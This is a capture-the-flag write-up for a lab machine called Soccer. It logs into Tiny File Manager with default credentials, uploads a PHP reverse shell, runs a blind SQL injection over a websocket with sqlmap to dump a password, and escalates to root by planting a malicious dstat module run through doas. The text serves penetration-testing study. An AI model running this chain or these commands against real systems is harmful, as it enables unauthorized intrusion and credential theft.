Soccer


Summary

Besides the web page on the exposed web service, we can find another hidden web application for file management. Since the default credentials were never changed, we can upload a PHP reverse shell, with which we get a foothold on the target system. By enumerating the system, we discover another web application on a subdomain. As part of the feature set, it interacts over a web socket with another exposed service. Since the database behind this socket suffers from an SQL injection, we are able to dump account credentials, which give us access to a user on the target.

Lastly, we discover that the compromised account has root access to a common Linux binary. By creating a malicious module for this tool, we can use our privileges to spawn a shell as root, granting us access to the entire system.

Solution

Reconnaissance

The initial Nmap scan discloses three open ports.

nmap -sC -sV 10.10.11.194 -p- -oN nmap.txt                
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 18:48 CEST
Nmap scan report for 10.10.11.194
Host is up (0.047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
<cut>

Besides the commonly found SSH and HTTP service, we can find another service on 9091. However, we seemingly are not able to interact with it at this point, as a connection over with Netcat does not trigger any responses. Therefore, we will focus on the web service for now. Due to the redirect to soccer.htb, we first need to add this domain to our /etc/hosts file, so we can visit the page in our browser.

Pasted image 20250422130942.png

The encountered web page is all about a football club, providing various information about this topic. Since it seems to be a purely static site, let’s continue our enumeration with a directory busting via Gobuster.

gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirb/big.txt                                                                 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

The discovered endpoint /tiny reveals another web application, called H3K Tiny File Manager.

Pasted image 20250422131244.png

A quick google search tells us that this is not a custom piece of software, but instead comes with a public GitHub repository, as well as installation instructions. Since we don’t have any login credentials for authentication, let’s check the wiki for any default login credentials. Not only do default credentials exist, we can use admin:admin@123 to access the application, as they were never changed.

Pasted image 20250422131621.png

User Flag

A file manager is always a valuable target, as these applications usually allow us to upload files. Due to our admin access here, this is exactly what we are permitted to do. Let’s navigate into the tiny/uploads folder, in which we place a PHP reverse shell from Revshells, with which we will be able to get a foothold on the target. After preparing this file, we can drag and drop it into the file manager.

Pasted image 20250422132059.png

After successfully uploading the file, we only need to set up a Netcat listener, and invoke the shell by visiting http://soccer.htb/tiny/uploads/shell.php. Almost instantly, we get our reverse shell as www-data.

nc -lvnp 4444      
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.194] 55212
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 11:22:03 up 15 min,  0 users,  load average: 0.00, 0.02, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1045): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:/$ 

Our current shell access does not come with any unusual privileges. While we can find a home directory for the user player, we can’t access it. Similarly, the files of the web service we encountered before, does not provide us with any credentials.

However, if we take a look at the target’s /etc/hosts file, we can find a subdomain, which we haven’t found earlier.

127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb

If we look in the respective configuration file for nginx, we can see that the subdomain is being hosted from a folder in the root directory.

www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb
cat soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

Since this configuration tells us that this page listens on all interfaces at port 80, we are able to access it externally, as long as we add player.soccer.htb to our own /etc/hosts. When we visit this subdomain in our browser, we can find one, which is extremely similar to the one we found before. The only difference here, is the login and registration feature in the page’s header.

Pasted image 20250422132717.png

To make use of this feature, let’s create an account. After logging in, we can access an input field, in which we are expected to enter a number, concretely our ticket ID. If the server can find the ticket it, we are able to claim a ticket for a football match.

Pasted image 20250422132820.png

By inspecting the page, we are able to take a look at the JavaScript code, which gives the input field it’s functionality.

<script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
        
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }
    </script>

At the start of this code snippet, we can see that this feature communications with some sort of database on the open port we found earlier, port 9091. Since this code discloses that port communication runs over a web socket, we can intercept it with Burpsuite, so we can take a closer look at what is being sent by both parties. When we enter a number on the page, the socket will receive a JSON object with the provided ID. If it doesn’t exist, it returns an error.

{"id":"1"} ->
Ticket Doesn't Exist <-

Since this feature is highly likely to communicate with a database, we can try to inject a malicious SQL query, which will always return true. If this works, we should get a different response, indicating success.

{"id":"1 OR 1=1"} ->
Ticket Exists <-

It works! Suddenly, we get Ticket Exist instead. The backend is vulnerable to blind SQL injections, which we can abuse with SQLmap. Using the tool, we can specify the web socket as its target, as well as the data we need to send. This way, we can iteratively dump the relevant entries of the database.

sqlmap -u ws://soccer.htb:9091 --data='{"id":"10"}' -batch --dbs --threads 10
<cut>
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
sqlmap -u ws://soccer.htb:9091 --data='{"id":"10"}' -batch --threads 10 -D soccer_db --tables
<cut>
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
sqlmap -u ws://soccer.htb:9091 --data='{"id":"10"}' -batch --threads 10 -D soccer_db -T accounts --dump
<cut>
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

In the accounts table of the soccer_db database, we find a clear text password for the user player. Since we already know that player is a user on the target machine, it’s no surprise that we can use these credentials to SSH into the target as player and claim the user flag.

8cfe0839a3647ee957043eb3a3ea2238

Root Flag

Since the user player doesn’t have access to sudo, it’s a good idea to enumerate set SUID bits.

find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
<cut>

Besides the expected binaries, the target has doas installed, which is essentially just a smaller version of sudo. However, despite the set SUID bit, we are not permitted to simply use this binary in order to execute command as root. This is really similar to how set SUID bits for sudo work. Nevertheless, we can try to look at the respective configuration file for doas, just like we would do for sudo. The man page tells us to look at /usr/local/etc/doas.conf, where we find the config.

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

Based on this output, player can also execute dstat as the root user. This is an easy target for us, as GTFObins has an entry about how we can use sudo access to this binary, in order to spawn a shell as root. By following these instructions, we can create a malicious model for dstat, which will spawn a shell once it is being executed. Afterwards, we only need to invoke it as the root user using doas, with which we get access to a shell as root, allowing us to claim the root flag.

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py

doas /usr/bin/dstat --xxx
# whoami
root
02bd2107ef7e6dc7549264fe0a68dc54